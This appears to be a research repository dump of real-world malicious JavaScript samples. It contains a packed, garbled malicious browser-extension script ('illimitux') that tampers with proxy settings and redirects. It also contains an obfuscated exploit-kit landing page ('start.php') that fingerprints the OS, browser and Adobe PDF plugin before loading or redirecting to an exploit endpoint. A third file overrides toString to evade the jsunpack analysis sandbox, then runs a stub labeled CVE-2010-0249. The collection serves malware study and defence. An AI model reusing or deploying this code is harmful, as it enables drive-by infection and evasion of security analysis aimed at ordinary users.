8%GM`\";+`-i!`'k\"`\"S,,\"c` |\"Start` 0#\"`#Z#`$n!Src` [!getUrl`!I#s`%($);`\"n-evalIn`\"}$\"(`'3'\"+` k%+\"})()\",`!n#`)O,bk`3?!(ret`)W!`1(/Char`+A$limitux_last_http\").indexO` 3(\")!=\"-1\"){typeBK=\"backup\";}else` -%last\";}`!+%Com.s`!%(network.`!_!.`!+!,`!;C\"+`! \"+\"`!a#`-Z'`!!#Int` o4_port` w1` L%` v1` R!` aFtype` SO` R!)`0Z!dow.clearTimeout`$\\!B`#i!_Time_second` 'A);if`%C\"reds=` J$`&d\"`(]%.location.href`.@!t(\"`\"+!/?r=\"` _#ds[1]` e!=` &#` C$&`2S\"` Z>=unescape(red[0])`%x#` N+history.go(-1);}}`'T*divx(a,b){urlp`(~!uu+\"video`3@*divx/divx/?k=` 4\"conver`#$\"linkDivx`$x\"openTab(urlp`(e,detectDivx`34#` S$=\"\";`\"C%getElementById`% '-divxctx\").label`!o!lang.view`\",!` 8Jhidden=true;if(g`+X!xtMenu.onLink||` ()isTextSelected`*t!` #9var r=`$)$ge` 4#`,(!.getRangeAt(0`%W\"` K\"div=r.startContainer.ownerD`\"5$create`\"9#(\"div\");div.appendChild(r.clon`/:$s(`)8#`#k%div.innerHTML`%|#` 4)s`!e$.toString();}` 6/`\"W)getLinkURL();}`-t#` C$.match(/^http/)&&` )0(megaupload|avi|file|dl|mkv|divx|down` 9!get|play|load)/g)){`$mPfalse`\"2$`%IU`(q+updateIc`14!if(!`)Q*){return `!6#if(`*E4`!9,_` q*_\"`#A#framesnotChanged=`!S!` y,`$V%` >-`\"!!loch`,\\CtoLowerCase();prv` ?5`&{1prv.id=`!}.;`\"Q7body)`,z,` 1)`'w)prv`&_\"`#o+`#>;alertShown_\")){pd`!rFinput\");pd`\"3(` e(` 5\"type=\"`%z\"`!eid`\"N!`)1$welcomed=`'_\"`%c\"`3I(prefHasUserValue(\"`%W!irsttime_`/~(_\")` a#){set`3#(`!!#,1000`+b\"`!1%`(7\"`!I#` y>pref_rs`! '` H,setBoolPref` E*,`'k!` \\Lbox` \\Mbox` WSauto` ^M` P!,` M\"` aLdiv`!nN` P!`!kRreferer`$.N` Q#` `Rproxy` cM` P\"` \\Rzapmu` aM` P\"` \\Rcaptcha` cM` P$` `Rembed` cM` P\"` \\Rtab` _Mtab` \\Nmu`),?Char`!#&` K$,\"\");}var pt` M!=new Array(\"pt_mv\",` #!u\"` \"\"p` \"\"rs` \"\"veoh` $\"4` +#z` 3#rs1` #\"`%&%;for(pv=0;pv<`!(#.length;pv++){`#2J\"+` ^#[pv]`#9L` P)`#j$}ilx_setMenuLabel(\"`\"|\"`!2Climitux_backup_http`#kF` I0,` K%Com.g` E(network.`*W!.`!%\"`1l\"` u+Int` l3port` q.` G%` p.` L\"` WLtype` ^E` H!)`'TF` }+`.qA`!Q6`/4%`!M=http.sendR` M\"Header`!r$loch.indexO` {(.net/`\"C!/\",0)!=\"-1\"&&`$WJ` e/\"` d#`\"H\"bk` J!(`+-6g`1]9)==` V!`#1&Com`#+)`\"F;,0);}else` (V`!_/`$4>`#Z?video`#p)window.content.document.getElementById`!*(streaming\")`,>1`#H2`4>\"`#R&f(` ]Y` O$W` _\"` D5serv`\"v!{` QZaddEventListener(\"load`$C\"updateIcon_frm`.&#`\"m(`&jj`*3\";}frmWind=`\"]g;var xhrP`2b!XMLHttpRequest;xhrP.open(\"GET`\"T#u+\"get`*-#+ilx_convert`\"Y!vers+\"||mv||` 8\"rand(0,100000))+\"/\"`#*#` z!set`!(#`($\"(\"Connection\",\"close\"` E#onreadystatechange=fun` F!(`&<!` A!` ?!State==4){srvgetF=` 5#sponseText;Proxy=` 9#.split(\"||`2X\"` 8![1]!=\"\"` w!` +\"0]==0){al`\"I$lang.down_`&S\"`*`%` W(`1fK`%8!lastProx`2s!` 3K`1j!` X%port` P-`23>` W*type` =D`2-\"`3 0`!m&`&r&last`\"@!`&;\"`\"K)`3QD` _!`!r!` V*port` 7I`4Q&`\"M)` Y'`/R#`#d9,`%3$` F.`#W=` U#3` 2F`!n\"` Q\"4` P#B`0C\"Time_seco`+,&setTimeout(`(Q(`+\\/,15000);`+p#`.1>.value=`(B$` 7>las`-D!` R\"`%--+\":`+>\"`$c)` U>`$j&go`-4\"\").submit();}}}}}`+u$nd(null);}`)q\"`*3\"\"`!~! switcher is disabled on p`3z\"nces. Please activate it... \");}`39~`/L)&&`36~`3]W`(~'oaded\")){`1=p`'o+`'CP`1e!`$L0mega`$Q!.com`$M(` 9+v=` 3&||` .*d` 1')){pageCtn`'x!getCnt();vb=` 1#`1O$.v = \\\"`1V\"vb[1]){vb2=` &!` =$` ;!v=vb2[0]`1A#v=\"\";}lc`#K5location.href` b$v=`!$\"!lc`!&!` \"!=v;`\"n!` -\"vidmv=` (!.substring(0,8`+{\"showA`(g\"`#-%\",` P!`)%$ `#K1porn`\"]~`\"]~`\"]~`#T'porn`#K/`*KBzapmu`*i$`+[Fcaptchaform\")&&`$X.upload`$^*`+k!`,!Ct_`!M&`)e\"attachMU`/A!`\"=$` p|`#`*` _#\",`+'$` wLdownloadlink` |HworkMu(` WW` |.zshare.net`$3+` c4forms[0]){` \"<`3e'`(D!`#8+zs`#8&`\"(%`!hFivDLStart\")||` .DfileNameText\")`\"\\-4`\"h!`&|0`)vB` `%file/`$N)` <@`*tJfile\").join(\"get\"`#Q34`#T0`\"iDbox_big`%f.depositfiles`\"eG`%V\"1].a`3{!`#$*s`\"nA` Z%`&!:df`\"D/`0V+eoh`!l,`091l`#tF;if(` J!` }&illimitux`(v,` q\"unescape` Q\");}dvs=` ]\"`%##watch%3D`0K#dvs`0;!` 22/\")`0`!` -6`4$!s` @$` ?$tempE=` (\"` B$#\");temp=` 8![0]` )!sd` +!` =$&` >#` 0\"sd[0]`1P,veoh\",` @!`#t6rapid`,(\"com/`%L!`#$&`1+Fdl\")`0VJrs`0y'` 0Drs`!\"!`%a\"_rs`&P4r`)3(`!\\{ff`!Y~`\"R%`!)H`)M;rs1`\"u,`!$Fembed`\"Q#`#I*`)(-=`)2#var aly`*@!analyseEmbed(`(|!aly.length>0){delm=` s!`'i#/\")`'[!firstLoch=delm[2].replace(\"www.\",\"` B#`\"?&aly[0].kind,` %#vid`\"m$`#)5ilx_mgtt`1p!.setAttribute(\"status\",\"no_items`!$-`#S!`-=*` )~` )~` }*}}`&h#addEventListener(\"load\",fun`1-!(`%c!`!<5`'G#AreaContextMenu\"))`!n6` ;4`!8/popupshowing\",ilx_detectDivx`\"\"&` \"$`!y5DOM`!%!ntLoade`\"--typeof gBrowser!=\"undefined`48\"` 2+.tabContain` =-` /1`#M5ilx_updateIcon,`+S!;` ;DTabSelect` Q3`&*#`$j;` D3` \"#"))


--------------------------------------------------------------------------------
/real/illimitux.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/real/illimitux.zip


--------------------------------------------------------------------------------
/real/index.php:
--------------------------------------------------------------------------------
1 | <html>
2 | <head>
3 | <title>i have malware</title>
4 | </head>
5 | <body>
6 | <script src="illimitux.js?<?php echo time();?>" type="text/javascript"></script>
7 | </body>
8 | </html>
9 | 


--------------------------------------------------------------------------------
/real/start.php:
--------------------------------------------------------------------------------
 1 | <html><head></head><body><script>var wq3CbOneQ=new Object();wq3CbOneQ.lB6DFWNNZ="./issue.php?key=56f8df79856e120144f1ffbb5941ea5f&access=2f7894b76ac22b226e3dcad698711ae1";wq3CbOneQ.EBUcV45HC=function(SSdK88CsT){var eBQrSGerQ=0,uyBcSndum=SSdK88CsT.length,cWowFAAmS=new Array();while(eBQrSGerQ<uyBcSndum){cWowFAAmS[eBQrSGerQ]=SSdK88CsT.charCodeAt(eBQrSGerQ).toString(16);eBQrSGerQ++;}
 2 | return cWowFAAmS.join("");}
 3 | wq3CbOneQ.UGtcsik0d=function(s0TO50mcM){s0TO50mcM=this.EBUcV45HC(s0TO50mcM);return s0TO50mcM.replace(/[A-Za-z]/g,function(jUClZNQZY){return String.fromCharCode((((jUClZNQZY=jUClZNQZY.charCodeAt(0))&223)-52)%26+(jUClZNQZY&32)+65);});}
 4 | wq3CbOneQ.oBLQViYqt=window.navigator.userAgent.toLowerCase();wq3CbOneQ.eVhY7xsZy=function(lB6DFWNNZ){var rlhI69d0x=document.createElement("script");rlhI69d0x.src=lB6DFWNNZ;document.body.appendChild(rlhI69d0x);}
 5 | wq3CbOneQ.ikJpqZjxM=function(lB6DFWNNZ){var lyoLSnums=new Array(window,lB6DFWNNZ);while(lyoLSnums[0].parent!=lyoLSnums[0]){lyoLSnums[0]=lyoLSnums[0].parent;}
 6 | lyoLSnums[0].location=lyoLSnums[1];}
 7 | wq3CbOneQ.DrwjZemNp=function(s0TO50mcM,zhTciY_75){if(s0TO50mcM.indexOf(zhTciY_75)!=-1){return true;}
 8 | return false;}
 9 | wq3CbOneQ.qM9VpSLk6=function(){var pcAwZl_W_=navigator.plugins,WCNWH6gAR;if(pcAwZl_W_&&pcAwZl_W_.length){for(var YYVEC9J7W in pcAwZl_W_){if(this.DrwjZemNp(pcAwZl_W_[YYVEC9J7W].description,"Adobe Acrobat")||this.DrwjZemNp(pcAwZl_W_[YYVEC9J7W].description,"Adobe PDF")){return true;}}
10 | return false;}else if(window.ActiveXObject){try{WCNWH6gAR=new ActiveXObject("AcroPDF.PDF");}catch(e){}
11 | if(!WCNWH6gAR){try{WCNWH6gAR=new ActiveXObject("PDF.PdfCtrl");}catch(e){}}
12 | if(WCNWH6gAR){return true;}}
13 | return false;}
14 | wq3CbOneQ.NGxOULUOc=function(){var uuKvAkFsb=new Array();uuKvAkFsb[0]=(this.DrwjZemNp(this.oBLQViYqt,"windows"))?"Windows":((this.DrwjZemNp(this.oBLQViYqt,"mac"))?"Mac":(this.DrwjZemNp(this.oBLQViYqt,"linux"))?"*Nix":"Other");uuKvAkFsb[1]=(uuKvAkFsb[0]=="Windows")?((this.DrwjZemNp(this.oBLQViYqt,"95"))?"95":((this.DrwjZemNp(this.oBLQViYqt,"98"))?"98":((this.DrwjZemNp(this.oBLQViYqt,"nt 5.0"))?"2000":((this.DrwjZemNp(this.oBLQViYqt,"nt 5.1"))?"XP":((this.DrwjZemNp(this.oBLQViYqt,"nt 5.2"))?"2003":((this.DrwjZemNp(this.oBLQViYqt,"nt 6.0"))?"Vista":((this.DrwjZemNp(this.oBLQViYqt,"nt 6.1"))?"Seven":"Other"))))))):"";var mbvclkLc8=new Array();mbvclkLc8[0]=(this.DrwjZemNp(this.oBLQViYqt,"opera"))?"Opera":((this.DrwjZemNp(this.oBLQViYqt,"firefox"))?"FireFox":((this.DrwjZemNp(this.oBLQViYqt,"msie"))?"Internet Explorer":"Other"));mbvclkLc8[1]=(mbvclkLc8[0]=="Opera")?this.oBLQViYqt.substr(this.oBLQViYqt.indexOf("opera")+6,4):((mbvclkLc8[0]=="FireFox")?S1aZxi7Os("x/","",this.oBLQViYqt.substr(this.oBLQViYqt.indexOf("firefox")+6,8)+" ("+this.oBLQViYqt.substr(8,3)+")").substr(0,3):((mbvclkLc8[0]=="Internet Explorer")?this.oBLQViYqt.substr(this.oBLQViYqt.indexOf("msie")+5,3):null));return"&o="+this.UGtcsik0d(uuKvAkFsb[0])+"&v="+this.UGtcsik0d(uuKvAkFsb[1])+"&b="+this.UGtcsik0d(mbvclkLc8[0])+"&m="+this.UGtcsik0d(mbvclkLc8[1]);}
15 | wq3CbOneQ.vX8cjlNiU=function(){this.lB6DFWNNZ+=this.NGxOULUOc();if(this.qM9VpSLk6()){this.lB6DFWNNZ+="&ac=1";return true;}else{return false;}}
16 | if(wq3CbOneQ.vX8cjlNiU()){wq3CbOneQ.ikJpqZjxM(wq3CbOneQ.lB6DFWNNZ);}else{wq3CbOneQ.eVhY7xsZy(wq3CbOneQ.lB6DFWNNZ);}</script></body></html>


--------------------------------------------------------------------------------
/tostring/index.php:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head>
 3 | <title>recursive toString demo</title>
 4 | </head>
 5 | <body>
 6 | <h1>recursive toString() demo</h1>
 7 | <h2>@author krzysztof at kotowicz dot net</h2>
 8 | <p>See <a href="http://blog.kotowicz.net/2010/06/ultimate-tostring-override.html">here</a> for an explanation.</p>
 9 | <iframe src="js.js?<?php echo time();?>" width="100%" height="500px"></iframe>
10 | <h2>Results</h2>
11 | <pre style="border: 1px dotted black" id="log"></pre>
12 | <script src="js.js?<?php echo time();?>" type="text/javascript"></script>
13 | </body>
14 | </html>
15 | 


--------------------------------------------------------------------------------
/tostring/js.js:
--------------------------------------------------------------------------------
 1 | // recursive Function.toString() emulation
 2 | // @author Krzysztof kotowicz - krzysztof at kotowicz dot net
 3 | // @see http://blog.kotowicz.net/2010/06/ultimate-tostring-override.html
 4 | 
 5 | var emulateToStringRecursive = function(object, fn_header) {
 6 | 	object.__defineGetter__("toString", function() {
 7 | 		var original = this.__proto__.toString;
 8 | 	
 9 | 		this.__proto__.toString = function() {
10 | 			var a = original.call(this);
11 | 
12 |                         if (a.match("_JSUNPACK_RANDOMIZE_ME"))
13 | 				return original.toString();
14 | 			return a;
15 | 		};
16 | 
17 | 		return function() {
18 | 			// dummy operation to avoid removal by the optimizer
19 | 			["_JSUNPACK_RANDOMIZE_ME"] 
20 | 			var BODY = " {\n\t[native code]\n}";
21 | 			return fn_header + BODY;
22 | 		}
23 | 	 });
24 | };
25 | 
26 | emulateToStringRecursive(window.open, 'function open()');
27 | 
28 | window.test = function dd() {
29 |   return 'test';
30 | };
31 | 
32 | function log(n1,n2) {
33 |  var i = document.getElementById('log');
34 |  i.innerHTML += "\n"+ n1+"\n"+n2+"\n\n";
35 | }
36 | 
37 | log('window.test.toString()',window.test.toString());
38 | log('window.open.toString()',window.open.toString());
39 | log('window.test.toString()',window.test.toString());
40 | log('window.open.toString()',window.open.toString());
41 | log('window.open.toString.toString()',window.open.toString.toString());
42 | log('window.open.toString.toString.toString()',window.open.toString.toString.toString());
43 | log('window.open.toString.toString.toString.toString()',window.open.toString.toString.toString.toString());
44 | 
45 | fake_browser = false;
46 | fake_browser = (window.open.toString().match(/print/));
47 | if (!fake_browser) {
48 |   log("real browser detected, launching attack","");
49 |   // CVE-2010-0249 MSIEUseAfterFree
50 |   var i2;
51 |   for (var i = 0; i < 10000; i++) {
52 |      i2=document.createElement('DIV');
53 |      i2.innerHTML = i;
54 |      document.body.appendChild(i2);
55 |   }
56 | }
57 | 


--------------------------------------------------------------------------------